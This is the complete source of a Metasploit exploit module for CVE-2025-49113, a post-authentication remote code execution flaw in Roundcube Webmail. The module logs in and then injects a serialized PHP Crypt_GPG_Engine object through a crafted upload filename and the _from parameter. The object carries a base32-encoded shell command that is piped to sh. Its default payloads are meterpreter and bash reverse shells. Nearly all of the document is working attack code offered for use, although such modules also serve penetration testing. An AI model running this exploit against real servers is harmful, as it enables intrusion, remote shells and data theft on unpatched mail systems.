## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization', 'Description' => %q{ Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization. An attacker can execute arbitrary system commands as the web server. }, 'Author' => [ 'Maksim Rogov', # msf module 'Kirill Firsov', # disclosure and original exploit ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-49113'], ['URL', 'https://fearsoff.org/research/roundcube'] ], 'DisclosureDate' => '2025-06-02', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] }, 'Platform' => ['unix', 'linux'], 'Targets' => [ [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux Command', { 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Type' => :nix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('USERNAME', [true, 'Email User to login with', '' ]), OptString.new('PASSWORD', [true, 'Password to login with', '' ]), OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]), OptString.new('HOST', [false, 'The hostname of Roundcube server', '']) ] ) end class PhpPayloadBuilder def initialize(command) @encoded = Rex::Text.encode_base32(command) @gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#) end def build len = @gpgconf.bytesize %(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};) end end def fetch_login_page res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { '_task' => 'login' } ) fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200 res end def check res = fetch_login_page unless res.body =~ /"rcversion"\s*:\s*(\d+)/ fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number") end version = Rex::Version.new(Regexp.last_match(1).to_s) print_good("Extracted version: #{version}") if version.between?(Rex::Version.new(10100), Rex::Version.new(10509)) return CheckCode::Appears elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610)) return CheckCode::Appears end CheckCode::Safe end def build_serialized_payload print_status('Preparing payload...') stager = case target['Type'] when :nix_cmd payload.encoded when :linux_dropper generate_cmdstager.join(';') else fail_with(Failure::BadConfig, 'Unsupported target type') end serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"') print_good('Payload successfully generated and serialized.') serialized end def exploit token = fetch_csrf_token login(token) payload_serialized = build_serialized_payload upload_payload(payload_serialized) end def fetch_csrf_token print_status('Fetching CSRF token...') res = fetch_login_page html = res.get_html_document token_input = html.at('input[name="_token"]') unless token_input fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token") end token = token_input.attributes.fetch('value', nil) if token.blank? fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty") end print_good("Extracted token: #{token}") token end def login(token) print_status('Attempting login...') vars_post = { '_token' => token, '_task' => 'login', '_action' => 'login', '_url' => '_task=login', '_user' => datastore['USERNAME'], '_pass' => datastore['PASSWORD'] } vars_post['_host'] = datastore['HOST'] if datastore['HOST'] res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => vars_post, 'vars_get' => { '_task' => 'login' } ) fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302 print_good('Login successful.') end def generate_from options = [ 'compose', 'reply', 'import', 'settings', 'folders', 'identity' ] options.sample end def generate_id random_data = SecureRandom.random_bytes(8) timestamp = Time.now.to_f.to_s Digest::MD5.hexdigest(random_data + timestamp) end def generate_uploadid millis = (Time.now.to_f * 1000).to_i "upload#{millis}" end def upload_payload(payload_filename) print_status('Uploading malicious payload...') # 1x1 transparent pixel image png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==') boundary = Rex::Text.rand_text_alphanumeric(8) data = '' data << "--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n" data << "Content-Type: image/png\r\n\r\n" data << png_data data << "\r\n--#{boundary}--\r\n" send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data }) print_good('Exploit attempt complete. Check for session.') end end